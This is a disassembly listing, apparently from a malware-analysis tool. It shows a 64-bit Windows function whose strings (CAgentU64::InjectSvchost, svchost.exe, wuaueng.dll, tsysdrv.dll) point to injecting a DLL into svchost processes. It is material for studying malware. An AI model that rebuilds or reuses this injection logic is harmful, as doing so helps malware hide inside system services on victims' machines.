Function at 0x18001ca00
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4b8]
sub rsp, 0x590
mov qword [rbp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x1800bd650]
xor rax, rsp
mov qword [rbp + 0x480], rax
call fcn.180010860
test eax, eax
jne 0x18001cd13
cmp dword [0x1800d6b50], eax
je 0x18001ca71
lea r9, str.CAgentU64::InjectSvchost_1
lea r8, str.AgentU64
lea edx, [rax + 0xf]
lea rcx, [0x1800d6a98]
call fcn.180015770
xor r12d, r12d
mov r15d, r12d
lea rax, str.wuauserv.dll
mov qword [rbp + 0x30], rax
lea rax, str.wuaueng.dll
mov qword [rbp + 0x38], rax
lea rbx, vtable.CTConfig.0
mov qword [rsp + 0x50], rbx
mov rax, qword [0x18007db48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x70]
call fcn.180023cc0
nop
mov dword [rbp - 0x78], r12d
call fcn.180013bc0
nop
mov qword [rbp - 0x70], rbx
mov rax, qword [0x18007db48]
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x50]
call fcn.180023cc0
nop
mov dword [rbp - 0x38], r12d
call fcn.180013bc0
nop
lea rdx, [0x180092d00]
lea rcx, [rsp + 0x40]
call fcn.180022310
mov rbx, rax
mov qword [rsp + 0x48], rax
mov dword [rbp - 0x78], r12d
lea rcx, [rsp + 0x58]
call fcn.180022480
lea rcx, [rsp + 0x60]
call fcn.180022480
lea rcx, [rsp + 0x68]
call fcn.180022480
or r8d, 0xffffffff
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.180022930
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.180021110
lea rcx, [rsp + 0x50]
call fcn.180013ef0
nop
mov rcx, rbx
call fcn.180021000
lea rdx, [0x180092d48]
lea rcx, [rsp + 0x48]
call fcn.180022310
mov rbx, rax
mov qword [rsp + 0x40], rax
mov dword [rbp - 0x38], r12d
lea rcx, [rbp - 0x68]
call fcn.180022480
lea rcx, [rbp - 0x60]
call fcn.180022480
lea rcx, [rbp - 0x58]
call fcn.180022480
or r8d, 0xffffffff
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.180022930
mov rdx, rbx
lea rcx, [rbp - 0x68]
call fcn.180021110
lea rcx, [rbp - 0x70]
call fcn.180013ef0
nop
mov rcx, rbx
call fcn.180021000
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x48]
call fcn.180022310
mov rsi, rax
mov qword [rsp + 0x40], rax
mov r13d, r12d
mov edi, r12d
lea r14d, [r12 + 1]
cmp dword [rsp + 0x78], r12d
jle 0x18001cc16
mov ebx, r12d
nop dword [rax]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rbx + rcx]
mov rcx, qword [rsi]
call fcn.180023730
test eax, eax
jne 0x18001cc13
inc edi
add rbx, 8
cmp edi, dword [rsp + 0x78]
jl 0x18001cbf0
jmp 0x18001cc16
mov r13d, r14d
mov rcx, rsi
call fcn.180021000
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x48]
call fcn.180022310
mov rsi, rax
mov qword [rsp + 0x40], rax
xor edi, edi
mov r12d, edi
mov ebx, edi
cmp dword [rbp - 0x48], ebx
jle 0x18001cc76
nop word [rax + rax]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rdi + rcx]
mov rcx, qword [rsi]
call fcn.180023730
test eax, eax
jne 0x18001cc71
inc ebx
add rdi, 8
cmp ebx, dword [rbp - 0x48]
jl 0x18001cc50
jmp 0x18001cc74
mov r12d, r14d
xor edi, edi
mov rcx, rsi
call fcn.180021000
or r12d, r13d
je 0x18001cd1a
cmp dword [0x1800d6b50], 0
je 0x18001ccb0
lea r9, str.InjectProc_Svhost_3
lea r8, str.Inject
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.180015770
nop
lea rbx, vtable.CTConfig.0
mov qword [rbp - 0x70], rbx
lea rcx, [rbp - 0x50]
call fcn.180022900
nop
lea rcx, [rbp - 0x58]
call fcn.180021000
nop
lea rcx, [rbp - 0x60]
call fcn.180021000
nop
lea rcx, [rbp - 0x68]
call fcn.180021000
nop
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x70]
call fcn.180022900
nop
lea rcx, [rsp + 0x68]
call fcn.180021000
nop
lea rcx, [rsp + 0x60]
call fcn.180021000
nop
lea rcx, [rsp + 0x58]
call fcn.180021000
xor eax, eax
jmp 0x18001d1e2
call fcn.180046440
test eax, eax
jne 0x18001cd2f
lea rcx, str.tsysdrv.dll
call fcn.180046c60
lea rcx, [rbp - 0x30]
call fcn.180023cc0
nop
xor r8d, r8d
lea rdx, str.svchost.exe
lea rcx, [rbp - 0x30]
call fcn.180028b00
mov r12d, edi
lea r13, vtable.CTConfig.0
mov qword [rbp - 0x10], r13
mov rax, qword [0x18007db48]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rbp + 8], rax
lea rcx, [rbp + 0x10]
call fcn.180023cc0
nop
mov dword [rbp + 0x28], edi
call fcn.180013bc0
nop
lea rdx, [0x180092d80]
lea rcx, [rsp + 0x48]
call fcn.180022310
mov rbx, rax
mov qword [rsp + 0x40], rax
mov dword [rbp + 0x28], edi
lea rcx, [rbp - 8]
call fcn.180022480
lea rcx, [rbp]
call fcn.180022480
lea rcx, [rbp + 8]
call fcn.180022480
or r8d, 0xffffffff
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.180022930
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.180021110
lea rcx, [rbp - 0x10]
call fcn.180013ef0
nop
mov rcx, rbx
call fcn.180021000
cmp dword [rbp + 0x28], 0xf0000001
jne 0x18001ce19
mov dword [rsp + 0x40], edi
cmp dword [rbp + 0x18], 0
jle 0x18001ce14
mov rax, qword [rbp + 0x10]
lea r8, [rsp + 0x40]
lea rdx, [0x18009b1e4]
mov rcx, qword [rax]
call fcn.180030c30
mov r12d, dword [rsp + 0x40]
test r12d, r12d
jne 0x18001ce2b
call fcn.180011450
test eax, eax
mov esi, 1
cmovne r12d, esi
jmp 0x18001ce30
mov esi, 1
cmp dword [0x1800d6b50], 0
je 0x18001ce5e
mov dword [rsp + 0x20], r12d
lea r9, str.CAgentU64::InjectSvchost_2_Injecttype__lu_
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.180015770
nop
mov qword [rbp - 0x10], r13
lea rcx, [rbp + 0x10]
call fcn.180022900
nop
lea rcx, [rbp + 8]
call fcn.180021000
nop
lea rcx, [rbp]
call fcn.180021000
nop
lea rcx, [rbp - 8]
call fcn.180021000
mov r14d, edi
cmp dword [rbp - 0x28], 0
jle 0x18001d179
mov r13, rdi
nop dword [rax]
lea rcx, [rbp + 0x40]
call fcn.180023cc0
nop
mov rax, qword [rbp - 0x30]
lea rdx, [rbp + 0x40]
mov ecx, dword [r13 + rax]
call fcn.180028b50
test eax, eax
je 0x18001cf98
mov ebx, edi
nop word [rax + rax]
mov r8d, 1
mov rdx, qword [rbp + rdi*8 + 0x30]
lea rcx, [rbp + 0x40]
call fcn.1800239b0
cmp eax, 0xffffffff
jg 0x18001cef5
inc ebx
inc rdi
cmp ebx, 2
jb 0x18001ced0
jmp 0x18001cf40
cmp dword [0x1800d6b50], 0
je 0x18001cf40
mov rdx, qword [rbp + rdi*8 + 0x30]
lea rcx, [rsp + 0x40]
call fcn.180022310
nop
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
lea r9, str.CAgentU64::InjectSvchost_err_11___s_
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.180015770
nop
lea rcx, [rsp + 0x40]
call fcn.180021000
cmp ebx, 2
jne 0x18001cf4b
xor edi, edi
mov esi, edi
jmp 0x18001cfc0
mov r8d, 1
lea rdx, [0x180093530]
lea rcx, [rbp + 0x40]
call fcn.1800239b0
cmp eax, 0xffffffff
jle 0x18001cf6c
xor edi, edi
mov esi, edi
jmp 0x18001cfc0
cmp dword [0x1800d6b50], 0
je 0x18001cff4
lea r9, str.CAgentU64::InjectSvchost_err_1
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.180015770
xor edi, edi
jmp 0x18001cfc0
cmp dword [0x1800d6b50], 0
je 0x18001cff4
lea r9, str.CAgentU64::InjectSvchost_err_2
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.180015770
cmp dword [0x1800d6b50], 0
je 0x18001cfec
mov dword [rsp + 0x20], esi
lea r9, str.CAgentU64::InjectSvchost_3___d_
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.180015770
test esi, esi
je 0x18001d153
xor edi, edi
lea esi, [rdi + 1]
test r12d, r12d
jne 0x18001d158
mov ecx, dword [0x1800d14c0]
movzx eax, cl
and al, sil
mov ebx, edi
cmp al, sil
cmove ebx, esi
cmp dword [0x1800d6b50], edi
je 0x18001d058
lea rax, str.____
test ebx, ebx
lea rdx, [0x18009b200]
cmovne rax, rdx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
lea r9, str.CTIjtNecessityMin::IsFntNeed___s____08x_
lea r8, str.TIjtNecessity
lea edx, [rdi + 0xf]
lea rcx, [0x1800d6a98]
call fcn.180015770
test ebx, ebx
je 0x18001d158
call fcn.18000cb00
mov ecx, edi
test eax, eax
sete cl
test ecx, ecx
je 0x18001d158
mov word [rbp + 0x270], di
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x272]
call fcn.180032160
mov word [rbp + 0x60], di
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x62]
call fcn.180032160
mov edx, 0x104
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r9, [0x180093530]
lea r8, [rbp + 0x60]
lea rdx, [0x180092930]
lea rcx, [rbp + 0x270]
call fcn.180031004
mov r11, qword [rbp - 0x30]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x270]
mov edx, dword [r13 + r11]
mov ecx, esi
call fcn.1800475b0
test eax, eax
cmove r15d, esi
cmp dword [0x1800d6b50], edi
je 0x18001d158
lea rcx, [0x1800962a0]
test r15d, r15d
lea rdx, [0x180096290]
cmovne rcx, rdx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x30]
mov ecx, dword [r13 + rax]
mov dword [rsp + 0x20], ecx
lea r9, str.CAgentU64::InjectProcess_4___d____d____s_
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.180015770
jmp 0x18001d158
mov esi, 1
lea rcx, [rbp + 0x40]
call fcn.180022900
inc r14d
add r13, 4
cmp r14d, dword [rbp - 0x28]
jl 0x18001cea0
lea r13, vtable.CTConfig.0
lea rcx, [rbp - 0x30]
call fcn.180023f30
nop
mov qword [rbp - 0x70], r13
lea rcx, [rbp - 0x50]
call fcn.180022900
nop
lea rcx, [rbp - 0x58]
call fcn.180021000
nop
lea rcx, [rbp - 0x60]
call fcn.180021000
nop
lea rcx, [rbp - 0x68]
call fcn.180021000
nop
mov qword [rsp + 0x50], r13
lea rcx, [rsp + 0x70]
call fcn.180022900
nop
lea rcx, [rsp + 0x68]
call fcn.180021000
nop
lea rcx, [rsp + 0x60]
call fcn.180021000
nop
lea rcx, [rsp + 0x58]
call fcn.180021000
mov eax, r15d
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.180030310
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret